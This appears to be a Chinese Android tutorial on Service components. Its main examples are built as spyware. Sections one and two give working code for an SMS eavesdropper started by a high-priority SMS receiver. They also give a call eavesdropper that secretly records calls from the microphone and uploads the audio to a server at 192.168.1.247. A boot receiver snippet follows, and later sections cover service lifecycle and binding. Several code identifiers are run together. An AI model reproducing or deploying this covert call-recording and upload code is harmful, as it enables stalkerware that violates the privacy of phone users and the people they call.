一、服务组件的使用步骤:(做一个短信窃听器,)
1、自定义一个类:继承android.app.Service类并覆写一些方法:
public class MyServiceextends Service {
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generatedmethod stub
return null;
}
/**
* 服务被创建的时候 调用的方法;在该方法中将短信上传到服务器。
*/
@Override
public void onCreate(){
//注意:服务组件是在主线程中执行的。所以要开启子线程。防止anr异常。
System.out.println("服务运行在 "+Thread.currentThread().getName());
new Thread(){
public void run() {
try {
System.out.println("准备上传");
Thread.sleep(20000);
System.out.println("上传数据到服务器");
} catch(InterruptedException e) {
e.printStackTrace();
}
};
}.start();
super.onCreate();
}
}
2、在清单文件中配置service组件:
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name">
//接收短信的广播接收者
<receiverandroid:name=".SmsReceiver" >
<intent-filterandroid:priority="1000" >
<actionandroid:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<service //服务组件。
android:name=".MyService"
></service>
</application>
3、在广播接收者类中激活服务组件:
public class SmsReceiverextends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent data) {
// TODO Auto-generatedmethod stub
System.out.println("短信到来了");
System.out.println("线程id"+Thread.currentThread().getId());
System.out.println("线程名字"+Thread.currentThread().getName());
//激活 服务组件
Intent intent = newIntent(context,MyService.class);
context.startService(intent);
}
}
注意:服务组件是在主线程中执行的。
二、做个电话窃听器:
1、创建一个activity 类 :界面上有一个按钮,点击按钮就开始监听电话.
public class DemoActivity extends Activity {
/** Called when the activityis first created. */
@Override
public void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
//点击按钮执行的方法:
public void startlisten(Viewview){
//开启一个后台的服务, 窃听用户的电话信息
Intent intent = new Intent(this,SystemService.class);
startService(intent);
}
}
2、定义一个服务组件:
public class SystemServiceextends Service {
private MediaRecorder mRecorder;
private boolean isrecoding;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generatedmethod stub
return null;
}
//启动服务的方法:
public void onCreate() {
super.onCreate();
isrecoding = false;
// 监听系统的电话的状态
//获取电话管理器对象:
TelephonyManager manager=
(TelephonyManager) getSystemService(TELEPHONY_SERVICE);
// 监听系统的电话的状态的改变
// listen方法参数1:是PhoneStateListener对象。
// 参数2:电话的状态 ,int类型常量。
manager.listen(
new MyListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
//自定义的电话状态监听器类
private class MyListener extends PhoneStateListener {
File file ;
/**
* 当电话状态发生改变的时候 调用的方法 state
* 方法参数1:是电话的状态,状态有: 空闲 零响 通话
参数2:incomingnumber 来电号码
*/
public voidonCallStateChanged(int state, String incomingNumber) {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE://空闲
System.out.println("电话空闲");
//音频数据上传到服务器
if(isrecoding){
mRecorder.stop();
mRecorder.release();
isrecoding = false;
// 上传文件的到服务器
System.out.println("上传文件到服务器");
new Thread(){
public void run() {
String path ="http://192.168.1.247:8080/web/UploadServlet";
PostMethod filePost = newPostMethod(path);
try {
Part[] parts = { newFilePart("file", file) };
filePost.setRequestEntity(newMultipartRequestEntity(parts,
filePost.getParams()));
// org.apache.commons.httpclient.HttpClientclient = new org.apache.commons.httpclient.HttpClient();
org.apache.commons.httpclient.HttpClient client = neworg.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(5000);
int status =client.executeMethod(filePost);
System.out.println("上传成功");
}
catch (Exception e) {
}
finally {
filePost.releaseConnection();
}
};
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING:// 零响
System.out.println("来电号码"+incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK: //通话状态
System.out.println("开始通话,开启录音机,窃听电话");
try {
mRecorder = newMediaRecorder();
// 设置声音的数据源
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 声音的输出格式 3gp
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
file = newFile(Environment.getExternalStorageDirectory(),
System.currentTimeMillis()+".3gp");
mRecorder.setOutputFile(file.getAbsolutePath());
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mRecorder.prepare();
mRecorder.start();
isrecoding = true;
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
break;
}
super.onCallStateChanged(state, incomingNumber);
}
}
}
三录音机操作api:
1、使用录音源需要在清单文件中添加权限:
<uses-permissionandroid:name="android.permission.RECORD_AUDIO" />
//创建录音机实例:
MediaRecorder mRecorder = new MediaRecorder();
// 设置声音的数据源,来自手机话筒
mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
// 指定声音的输出格式 3gp
mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
//创建当前录音额文件 (外部存储设备目录 ,文件名)
file = newFile(Environment.getExternalStorageDirectory()
,System.currentTimeMillis()+".3gp");
//指定输出文件路径
mRecorder.setOutputFile(file.getAbsolutePath());
//设置声音的编码格式
mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
mRecorder.prepare();//准备
mRecorder.start();//开始录音
//停止录音机
MRecorder.stop();
//释放录音机资源
mRecorder.release();
四、手机开机的广播接收者事件:
<receiverandroid:name=".BootReceiver">
<intent-filter >
<actionandroid:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
五、服务组件的生命周期:
1、服务有两种开启方式:
通过startservice方式开启。
绑定的方式开启服务
2、通过startservice方式开启 的生命周期:
①、服务只会被创建一次,只调用一次onCreate()方法
一旦服务被创建出来,以后再去开启服务 就不会执行oncreate()方法,只会执行 onStart().
②、服务如果是通过startservice方式开启的
服务和调用者没有任何的关系,即便是调用者挂了,服务还是会在后台长期的运行.
可以用过stopservice的方法 把服务给停掉,调用onDestory()方法。
3、绑定的方式开启服务 的生命周期:
①、使用绑定方式开启服务,首先执行onCreate 方法 ,再执行 onBind方法,再次点击开启不会执行任何方法,结束服务 先执行onNnBind方法 再执行onDestory方法。
②、如果调用者挂了,服务也会跟着挂了。
六、绑定方式开启服务:(通过绑定服务调用服务里的方法:使用binder类做桥梁)
1、使用绑定方式开启服务:
使用bindService()开启服务,需要实现ServiceConnection接口,该接口中有一个onServiceConnected()回调方法,方法的第二个参数是IBinder 对象,就是服务类中onBind()方法的返回值。当服务绑定成功的时候,会调用服务类中的onBind()方法,返回一个IBinder对象,通过IBind对象可以调用 间接服务中的其他方法:
2、、使用绑定方式开启服务 和在关闭视图时在activity的ondestory方法解除绑定服务:
//服务意图
Intent serviceintent = newIntent(this,MyService.class);
//绑定方式启动服务
//方法参数: (服务意图,ServiceConnection子类对象,启动模式)
bindService(serviceintent,conn, Context.BIND_AUTO_CREATE);
//ServiceConnection子类:
private class MyConnimplements ServiceConnection{
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// 当服务被成功绑定的时候 执行的方法
System.out.println("服务被成功绑定了,我获取到了服务返回的ibinder对象");
//获取myBind对象:
MyService.MyBinder mybinder =(MyBinder) service;
mybinder.callMethodA();//调用内部类的方法:
}
@Override
public voidonServiceDisconnected(ComponentName name) {
// TODO Auto-generated method stub
}
}
//在activity类中的onDestory方法解除绑定:
//调用unbindService()解除绑定,参数:ServiceConnection的子类。
protected void onDestroy() {
super.onDestroy();
// 显示的把绑定的服务给接触绑定.
unbindService(conn);
}
//服务类:
public class MyServiceextends Service {
//绑定类:(内部类)
public class MyBinder extends Binder {
//内部类的方法中:调用服务类中的方法
public voidcallMethodA() {
MethodA();//调用服务类的方法:
}
}
@Override
public IBinder onBind(Intent intent) {
System.out.println("onbind");
return new MyBinder();//创建绑定对象。
}
public void MethodA(){
System.out.println("我是服务里面的方法A");
}
@Override
public boolean onUnbind(Intent intent) {
System.out.println("onunbind");
returnsuper.onUnbind(intent);
}
@Override
public void onCreate() {
// TODO Auto-generatedmethod stub
System.out.println("oncreate");
super.onCreate();
}
@Override
public void onStart(Intent intent, int startId) {
// TODO Auto-generatedmethod stub
super.onStart(intent,startId);
System.out.println("onstart");
}
@Override
public void onDestroy() {
// TODO Auto-generatedmethod stub
System.out.println("ondestroy");
super.onDestroy();
}
}
②、生命周期: